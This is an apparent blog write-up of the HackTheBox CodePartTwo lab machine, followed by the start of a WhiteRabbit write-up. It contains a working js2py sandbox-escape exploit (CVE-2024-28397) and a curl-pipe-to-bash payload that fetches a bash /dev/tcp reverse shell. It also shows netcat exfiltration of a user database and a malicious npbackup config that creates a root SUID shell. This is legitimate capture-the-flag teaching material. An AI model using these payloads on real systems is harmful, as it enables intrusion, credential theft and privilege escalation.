<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="rouge-code"><pre>   creating: app/
   creating: app/static/
   creating: app/static/css/
  inflating: app/static/css/styles.css
   creating: app/static/js/
  inflating: app/static/js/script.js
  inflating: app/app.py
   creating: app/templates/
  inflating: app/templates/dashboard.html
  inflating: app/templates/reviews.html
  inflating: app/templates/index.html
  inflating: app/templates/base.html
  inflating: app/templates/register.html
  inflating: app/templates/login.html
  inflating: app/requirements.txt
   creating: app/instance/
  inflating: app/instance/users.db
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Nice! We got the source code. I created an account using the register function and logged in. The dashboard has something interesting - a JavaScript code editor.</p>

<p><img src="/assets/img/htb-codeparttwo/code-editor.png" alt="Code Editor" />
<em>JavaScript code editor in the dashboard</em></p>

<p>Now let’s dig into that source code.</p>

<h3 id="source-code-analysis">Source Code Analysis</h3>

<p>Looking at <code class="language-plaintext highlighter-rouge">app.py</code>, I spotted something interesting right away - there’s a module called <code class="language-plaintext highlighter-rouge">js2py</code> being imported:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="n">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">render_template</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">redirect</span><span class="p">,</span> <span class="n">url_for</span><span class="p">,</span> <span class="n">session</span><span class="p">,</span> <span class="n">jsonify</span><span class="p">,</span> <span class="n">send_from_directory</span>
<span class="kn">from</span> <span class="n">flask_sqlalchemy</span> <span class="kn">import</span> <span class="n">SQLAlchemy</span>
<span class="kn">import</span> <span class="n">hashlib</span>
<span class="kn">import</span> <span class="n">js2py</span>
<span class="kn">import</span> <span class="n">os</span>
<span class="kn">import</span> <span class="n">json</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>And here’s where the magic happens - the <code class="language-plaintext highlighter-rouge">/run_code</code> endpoint:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre><span class="nd">@app.route</span><span class="p">(</span><span class="sh">'</span><span class="s">/run_code</span><span class="sh">'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="sh">'</span><span class="s">POST</span><span class="sh">'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">run_code</span><span class="p">():</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">code</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">json</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">code</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">result</span> <span class="o">=</span> <span class="n">js2py</span><span class="p">.</span><span class="nf">eval_js</span><span class="p">(</span><span class="n">code</span><span class="p">)</span>
        <span class="k">return</span> <span class="nf">jsonify</span><span class="p">({</span><span class="sh">'</span><span class="s">result</span><span class="sh">'</span><span class="p">:</span> <span class="n">result</span><span class="p">})</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">return</span> <span class="nf">jsonify</span><span class="p">({</span><span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="p">:</span> <span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)})</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>It’s running user-supplied JavaScript code using <code class="language-plaintext highlighter-rouge">js2py.eval_js()</code>. That’s a big red flag.</p>

<hr />

<h2 id="initial-access">Initial Access</h2>

<h3 id="cve-2024-28397---js2py-sandbox-escape">CVE-2024-28397 - js2py Sandbox Escape</h3>

<p>After some googling, I found that js2py has a nasty vulnerability - <strong>CVE-2024-28397</strong>. It’s a sandbox escape bug in js2py (versions 0.74 and below) that lets you break out of the JavaScript sandbox and execute Python code.</p>

<p>Here’s the deal: js2py maps JavaScript objects to Python objects so JS scripts can interact with Python. But if you can access Python objects from JS, you can reach system APIs like <code class="language-plaintext highlighter-rouge">subprocess</code> or <code class="language-plaintext highlighter-rouge">os</code> and run shell commands.</p>

<p>I found a PoC on GitHub: <a href="https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/blob/main/poc.py">CVE-2024-28397-js2py-Sandbox-Escape</a></p>

<h3 id="testing-the-rce">Testing the RCE</h3>

<p>Let’s test if we can get code execution. I’ll try to make the server call back to my machine:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="rouge-code"><pre><span class="kd">let</span> <span class="nx">cmd</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">curl 10.10.16.75:8000/pwnedcake_is_here</span><span class="dl">"</span>
<span class="kd">let</span> <span class="nx">hacked</span><span class="p">,</span> <span class="nx">bymarve</span><span class="p">,</span> <span class="nx">n11</span>
<span class="kd">let</span> <span class="nx">getattr</span><span class="p">,</span> <span class="nx">obj</span>

<span class="nx">hacked</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nf">getOwnPropertyNames</span><span class="p">({})</span>
<span class="nx">bymarve</span> <span class="o">=</span> <span class="nx">hacked</span><span class="p">.</span><span class="nx">__getattribute__</span>
<span class="nx">n11</span> <span class="o">=</span> <span class="nf">bymarve</span><span class="p">(</span><span class="dl">"</span><span class="s2">__getattribute__</span><span class="dl">"</span><span class="p">)</span>
<span class="nx">obj</span> <span class="o">=</span> <span class="nf">n11</span><span class="p">(</span><span class="dl">"</span><span class="s2">__class__</span><span class="dl">"</span><span class="p">).</span><span class="nx">__base__</span>
<span class="nx">getattr</span> <span class="o">=</span> <span class="nx">obj</span><span class="p">.</span><span class="nx">__getattribute__</span>

<span class="kd">function</span> <span class="nf">findpopen</span><span class="p">(</span><span class="nx">o</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">let</span> <span class="nx">result</span><span class="p">;</span>
    <span class="k">for</span><span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="k">in</span> <span class="nx">o</span><span class="p">.</span><span class="nf">__subclasses__</span><span class="p">())</span> <span class="p">{</span>
        <span class="kd">let</span> <span class="nx">item</span> <span class="o">=</span> <span class="nx">o</span><span class="p">.</span><span class="nf">__subclasses__</span><span class="p">()[</span><span class="nx">i</span><span class="p">]</span>
        <span class="k">if</span><span class="p">(</span><span class="nx">item</span><span class="p">.</span><span class="nx">__module__</span> <span class="o">==</span> <span class="dl">"</span><span class="s2">subprocess</span><span class="dl">"</span> <span class="o">&amp;&amp;</span> <span class="nx">item</span><span class="p">.</span><span class="nx">__name__</span> <span class="o">==</span> <span class="dl">"</span><span class="s2">Popen</span><span class="dl">"</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">return</span> <span class="nx">item</span>
        <span class="p">}</span>
        <span class="k">if</span><span class="p">(</span><span class="nx">item</span><span class="p">.</span><span class="nx">__name__</span> <span class="o">!=</span> <span class="dl">"</span><span class="s2">type</span><span class="dl">"</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nx">result</span> <span class="o">=</span> <span class="nf">findpopen</span><span class="p">(</span><span class="nx">item</span><span class="p">)))</span> <span class="p">{</span>
            <span class="k">return</span> <span class="nx">result</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="nx">n11</span> <span class="o">=</span> <span class="nf">findpopen</span><span class="p">(</span><span class="nx">obj</span><span class="p">)(</span><span class="nx">cmd</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">true</span><span class="p">).</span><span class="nf">communicate</span><span class="p">()</span>
<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="nx">n11</span><span class="p">)</span>
<span class="nx">n11</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Set up a listener:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>python3 <span class="nt">-m</span> http.server 8000
</pre></td></tr></tbody></table></code></pre></div></div>

<p>After clicking “Run Code”:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>10.10.11.82 - - [04/Nov/2025 23:07:57] "GET /pwnedcake_is_here HTTP/1.1" 404 -
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We got a callback! RCE confirmed.</p>

<h3 id="getting-a-reverse-shell">Getting a Reverse Shell</h3>

<p>Now let’s get a proper shell. I created a <code class="language-plaintext highlighter-rouge">rev.sh</code> file:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>bash <span class="nt">-i</span> <span class="o">&gt;</span>&amp; /dev/tcp/10.10.16.75/56234 0&gt;&amp;1
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Set up my listener and modified the payload:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="rouge-code"><pre><span class="kd">let</span> <span class="nx">cmd</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">curl 10.10.16.75:8000/rev.sh | bash</span><span class="dl">'</span>
<span class="kd">let</span> <span class="nx">hacked</span><span class="p">,</span> <span class="nx">bymarve</span><span class="p">,</span> <span class="nx">n11</span>
<span class="kd">let</span> <span class="nx">getattr</span><span class="p">,</span> <span class="nx">obj</span>

<span class="nx">hacked</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nf">getOwnPropertyNames</span><span class="p">({})</span>
<span class="nx">bymarve</span> <span class="o">=</span> <span class="nx">hacked</span><span class="p">.</span><span class="nx">__getattribute__</span>
<span class="nx">n11</span> <span class="o">=</span> <span class="nf">bymarve</span><span class="p">(</span><span class="dl">"</span><span class="s2">__getattribute__</span><span class="dl">"</span><span class="p">)</span>
<span class="nx">obj</span> <span class="o">=</span> <span class="nf">n11</span><span class="p">(</span><span class="dl">"</span><span class="s2">__class__</span><span class="dl">"</span><span class="p">).</span><span class="nx">__base__</span>
<span class="nx">getattr</span> <span class="o">=</span> <span class="nx">obj</span><span class="p">.</span><span class="nx">__getattribute__</span>

<span class="kd">function</span> <span class="nf">findpopen</span><span class="p">(</span><span class="nx">o</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">let</span> <span class="nx">result</span><span class="p">;</span>
    <span class="k">for</span><span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="k">in</span> <span class="nx">o</span><span class="p">.</span><span class="nf">__subclasses__</span><span class="p">())</span> <span class="p">{</span>
        <span class="kd">let</span> <span class="nx">item</span> <span class="o">=</span> <span class="nx">o</span><span class="p">.</span><span class="nf">__subclasses__</span><span class="p">()[</span><span class="nx">i</span><span class="p">]</span>
        <span class="k">if</span><span class="p">(</span><span class="nx">item</span><span class="p">.</span><span class="nx">__module__</span> <span class="o">==</span> <span class="dl">"</span><span class="s2">subprocess</span><span class="dl">"</span> <span class="o">&amp;&amp;</span> <span class="nx">item</span><span class="p">.</span><span class="nx">__name__</span> <span class="o">==</span> <span class="dl">"</span><span class="s2">Popen</span><span class="dl">"</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">return</span> <span class="nx">item</span>
        <span class="p">}</span>
        <span class="k">if</span><span class="p">(</span><span class="nx">item</span><span class="p">.</span><span class="nx">__name__</span> <span class="o">!=</span> <span class="dl">"</span><span class="s2">type</span><span class="dl">"</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nx">result</span> <span class="o">=</span> <span class="nf">findpopen</span><span class="p">(</span><span class="nx">item</span><span class="p">)))</span> <span class="p">{</span>
            <span class="k">return</span> <span class="nx">result</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="nx">n11</span> <span class="o">=</span> <span class="nf">findpopen</span><span class="p">(</span><span class="nx">obj</span><span class="p">)(</span><span class="nx">cmd</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">true</span><span class="p">).</span><span class="nf">communicate</span><span class="p">()</span>
<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="nx">n11</span><span class="p">)</span>
<span class="nx">n11</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>And we’re in:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>app@codeparttwo:~/app<span class="nv">$ </span><span class="nb">whoami
</span>app
</pre></td></tr></tbody></table></code></pre></div></div>

<hr />

<h2 id="privilege-escalation-1---app-to-marco">Privilege Escalation #1 - App to Marco</h2>

<p>Since this is a Flask app, there’s usually an <code class="language-plaintext highlighter-rouge">instance</code> folder with some data. Let’s check it out:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre>app@codeparttwo:~/app<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-la</span>
total 32
drwxrwxr-x 6 app app 4096 Sep  1 13:19 <span class="nb">.</span>
drwxr-x--- 6 app app 4096 Nov  4 15:36 ..
<span class="nt">-rw-r--r--</span> 1 app app 3679 Sep  1 13:19 app.py
drwxrwxr-x 2 app app 4096 Nov  4 17:00 instance
...

app@codeparttwo:~/app/instance<span class="nv">$ </span><span class="nb">ls
</span>users.db
</pre></td></tr></tbody></table></code></pre></div></div>

<p>There’s a SQLite database. Let’s grab it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre><span class="c"># On target</span>
nc 10.10.16.75 8956 &lt; users.db

<span class="c"># On attacker</span>
nc <span class="nt">-lvnp</span> 8956 <span class="o">&gt;</span> users.db
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s see what’s in there:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>sqlite3 users.db
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre><span class="n">sqlite</span><span class="o">&gt;</span> <span class="p">.</span><span class="n">tables</span>
<span class="n">code_snippet</span>  <span class="k">user</span>
<span class="n">sqlite</span><span class="o">&gt;</span> <span class="k">select</span> <span class="o">*</span> <span class="k">from</span> <span class="k">user</span><span class="p">;</span>
<span class="mi">1</span><span class="o">|</span><span class="n">marco</span><span class="o">|</span><span class="mi">649</span><span class="n">c9d65a206a75</span><span class="c1">---------------</span>
<span class="mi">2</span><span class="o">|</span><span class="n">app</span><span class="o">|</span><span class="n">a97588c0e2fa3a024876339e27aeb42e</span>
<span class="mi">3</span><span class="o">|</span><span class="n">pwnedcake</span><span class="o">|</span><span class="mi">5</span><span class="n">f4dcc3b5aa765d61d8327deb882cf99</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We got a hash for the user <code class="language-plaintext highlighter-rouge">marco</code>. Let’s check if that user exists on the system:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>app@codeparttwo:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span> /home
total 8
drwxr-x--- 6 app   app   4096 Nov  4 15:36 app
drwxr-x--- 6 marco marco 4096 Nov  4 17:30 marco
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Yep, <code class="language-plaintext highlighter-rouge">marco</code> is a real user. Let’s crack that hash.</p>

<h3 id="cracking-the-hash">Cracking the Hash</h3>

<p>Using hashcat to crack the MD5 hash:</p>

<p><img src="/assets/img/htb-codeparttwo/hashcat-cracked.png" alt="Hashcat Cracked" />
<em>Successfully cracked marco’s password</em></p>

<p>Now we can SSH in as marco:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>ssh marco@10.10.11.82
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>marco@codeparttwo:~$ whoami
marco
</pre></td></tr></tbody></table></code></pre></div></div>

<blockquote class="prompt-tip">
  <p><strong>User Flag Captured!</strong></p>
</blockquote>

<hr />

<h2 id="privilege-escalation-2---marco-to-root">Privilege Escalation #2 - Marco to Root</h2>

<p>Let’s check what sudo permissions marco has:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>marco@codeparttwo:~<span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-l</span>
User marco may run the following commands on codeparttwo:
    <span class="o">(</span>root<span class="o">)</span> NOPASSWD: /usr/local/bin/npbackup-cli
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Interesting! We can run <code class="language-plaintext highlighter-rouge">npbackup-cli</code> as root without a password. Let’s see what files we have:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>marco@codeparttwo:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span>
total 12
drwx------ 7 root  root  4096 Apr  6  2025 backups
<span class="nt">-rw-rw-r--</span> 1 marco marco 2893 Nov  4 09:43 npbackup.conf
<span class="nt">-rw-r-----</span> 1 root  marco   33 Nov  3 19:33 user.txt
</pre></td></tr></tbody></table></code></pre></div></div>

<p>There’s a config file we can write to. Looking into <code class="language-plaintext highlighter-rouge">npbackup-cli</code>, it supports:</p>
<ul>
  <li>Custom config via <code class="language-plaintext highlighter-rouge">-c</code> flag</li>
  <li><code class="language-plaintext highlighter-rouge">post_exec_commands</code> in backup options (runs commands after backup)</li>
  <li>Custom paths to backup</li>
</ul>

<p>This is perfect for abuse. We can make it:</p>
<ol>
  <li>Backup <code class="language-plaintext highlighter-rouge">/root</code></li>
  <li>Run arbitrary commands as root after the backup</li>
</ol>

<h3 id="crafting-a-malicious-config">Crafting a Malicious Config</h3>

<p>Let’s create a config that drops a SUID bash:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="rouge-code"><pre><span class="nb">cat</span> <span class="o">&gt;</span> /tmp/pwned.conf <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'
conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri: __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    repo_group: default_group
    backup_opts:
      paths:
        - /root
      source_type: folder_list
      post_exec_commands:
        - "mkdir -p /tmp/cake"
        - "cp /bin/bash /tmp/cake/cakebash"
        - "chmod u+s /tmp/cake/cakebash"
    repo_opts:
      repo_password: __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
</span><span class="no">EOF
</span></pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="running-the-exploit">Running the Exploit</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nb">sudo</span> /usr/local/bin/npbackup-cli <span class="nt">-c</span> /tmp/pwned.conf run default <span class="nt">--force</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This backs up <code class="language-plaintext highlighter-rouge">/root</code> and then runs our <code class="language-plaintext highlighter-rouge">post_exec_commands</code> as root, which creates a SUID bash at <code class="language-plaintext highlighter-rouge">/tmp/cake/cakebash</code>.</p>

<h3 id="getting-root">Getting Root</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>marco@codeparttwo:/tmp<span class="nv">$ </span><span class="nb">cd </span>cake
marco@codeparttwo:/tmp/cake<span class="nv">$ </span>./cakebash <span class="nt">-p</span>
cakebash-5.0# <span class="nb">whoami
</span>root
cakebash-5.0# <span class="nb">cat</span> /root/root.txt
&lt;redacted&gt;
</pre></td></tr></tbody></table></code></pre></div></div>

<blockquote class="prompt-tip">
  <p><strong>Root Flag Captured!</strong></p>
</blockquote>

<hr />

<h2 id="key-takeaways">Key Takeaways</h2>

<h3 id="vulnerabilities-exploited">Vulnerabilities Exploited</h3>

<ol>
  <li><strong>CVE-2024-28397 (js2py Sandbox Escape)</strong>
    <ul>
      <li>Allowed breaking out of the JavaScript sandbox</li>
      <li>Enabled arbitrary command execution on the server</li>
    </ul>
  </li>
  <li><strong>Insecure Backup Tool Configuration</strong>
    <ul>
      <li><code class="language-plaintext highlighter-rouge">npbackup-cli</code> allowed custom configs</li>
      <li><code class="language-plaintext highlighter-rouge">post_exec_commands</code> ran as root without validation</li>
    </ul>
  </li>
  <li><strong>Weak Password Hashing</strong>
    <ul>
      <li>MD5 hashes in the database were easily cracked</li>
    </ul>
  </li>
</ol>

<h3 id="lessons-learned">Lessons Learned</h3>

<blockquote class="prompt-warning">
  <p>Never use <code class="language-plaintext highlighter-rouge">js2py.eval_js()</code> with untrusted input. If you need to run user JavaScript, use a proper sandboxed environment or a dedicated JS engine.</p>
</blockquote>

<blockquote class="prompt-danger">
  <p>Tools that run as root should validate their config files and restrict dangerous options like command execution.</p>
</blockquote>

<hr />

<h2 id="tools-used">Tools Used</h2>

<ul>
  <li><strong>Nmap</strong> - Port scanning and service detection</li>
  <li><strong>js2py PoC</strong> - Sandbox escape exploit</li>
  <li><strong>Hashcat</strong> - Password hash cracking</li>
  <li><strong>Netcat</strong> - File transfer and reverse shells</li>
  <li><strong>SQLite3</strong> - Database enumeration</li>
</ul>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>CodePartTwo was a fun box that showed how dangerous it can be to execute untrusted code, even in a “sandbox”. The js2py vulnerability gave us initial access, and the misconfigured backup tool with root permissions was the perfect escalation path.</p>

<p><strong>Final Stats:</strong></p>
<ul>
  <li>Time to User: ~40 minutes</li>
  <li>Time to Root: ~20 minutes</li>
  <li>Difficulty Rating: Easy</li>
</ul>

<p>Thanks for reading! Happy Hacking!</p>]]></content><author><name>Wathsala Dewmina</name></author><category term="HackTheBox" /><category term="Easy" /><category term="htb" /><category term="js2py" /><category term="cve-2024-28397" /><category term="rce" /><category term="sandbox-escape" /><category term="npbackup" /><category term="privilege-escalation" /><category term="linux" /><category term="python" /><category term="flask" /><category term="penetration-testing" /><summary type="html"><![CDATA[Complete walkthrough of HackTheBox CodePartTwo machine by Wathsala Dewmina (PwnedCake). An Easy Linux machine exploiting CVE-2024-28397 js2py sandbox escape vulnerability for RCE and abusing npbackup-cli for privilege escalation to root.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://pwnedcake.github.io/assets/img/htb-codeparttwo/codeparttwo-thumbnail.png" /><media:content medium="image" url="https://pwnedcake.github.io/assets/img/htb-codeparttwo/codeparttwo-thumbnail.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HackTheBox WhiteRabbit Writeup - Insane Linux Machine</title><link href="https://pwnedcake.github.io/posts/hackthebox-whiterabbit-writeup/" rel="alternate" type="text/html" title="HackTheBox WhiteRabbit Writeup - Insane Linux Machine" /><published>2025-06-03T07:30:00+00:00</published><updated>2025-06-03T07:30:00+00:00</updated><id>https://pwnedcake.github.io/posts/hackthebox-whiterabbit-writeup</id><content type="html" xml:base="https://pwnedcake.github.io/posts/hackthebox-whiterabbit-writeup/"><![CDATA[<h2 id="machine-information">Machine Information</h2>

<table>
  <thead>
    <tr>
      <th style="text-align: left">Attribute</th>
      <th style="text-align: left">Details</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left"><strong>Machine Name</strong></td>
      <td style="text-align: left">WhiteRabbit</td>
    </tr>
    <tr>
      <td style="text-align: left"><strong>Difficulty</strong></td>
      <td style="text-align: left">Insane</td>
    </tr>
    <tr>
      <td style="text-align: left"><strong>OS</strong></td>
      <td style="text-align: left">Linux</td>
    </tr>
    <tr>
      <td style="text-align: left"><strong>IP Address</strong></td>
      <td style="text-align: left">10.129.75.14</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="reconnaissance">Reconnaissance</h2>

<h3 id="nmap-scan">Nmap Scan</h3>

<p>Starting with a quick Nmap scan:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>nmap <span class="nt">-sCV</span> <span class="nt">-T5</span> <span class="nt">--min-rate</span> 2000 <span class="nt">-v</span> <span class="nt">-oN</span> whiterabbit.nmap 10.129.75.14
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Scan Results:</strong></p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.9
80/tcp open  http    Caddy httpd
|_http-title: Did not follow redirect to http://whiterabbit.htb
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="key-findings">Key Findings</h3>

<ul>
  <li><strong>SSH (Port 22)</strong>: OpenSSH 9.6p1 running on Ubuntu</li>
  <li><strong>HTTP (Port 80)</strong>: Caddy web server redirecting to <code class="language-plaintext highlighter-rouge">whiterabbit.htb</code></li>
</ul>

<p>Let’s add the domain to our hosts file and enumerate further.</p>

<hr />

<h2 id="subdomain-enumeration">Subdomain Enumeration</h2>

<p>Using ffuf to find subdomains:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>ffuf <span class="nt">-H</span> <span class="s2">"Host: FUZZ.whiterabbit.htb"</span> <span class="nt">-c</span> <span class="nt">-ic</span> <span class="nt">-w</span> /opt/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt <span class="nt">-u</span> http://whiterabbit.htb <span class="nt">-fs</span> 0
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>status                  [Status: 302, Size: 32, Words: 4, Lines: 1]
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Found <code class="language-plaintext highlighter-rouge">status.whiterabbit.htb</code>. After adding it to <code class="language-plaintext highlighter-rouge">/etc/hosts</code>, we can visit the page.</p>

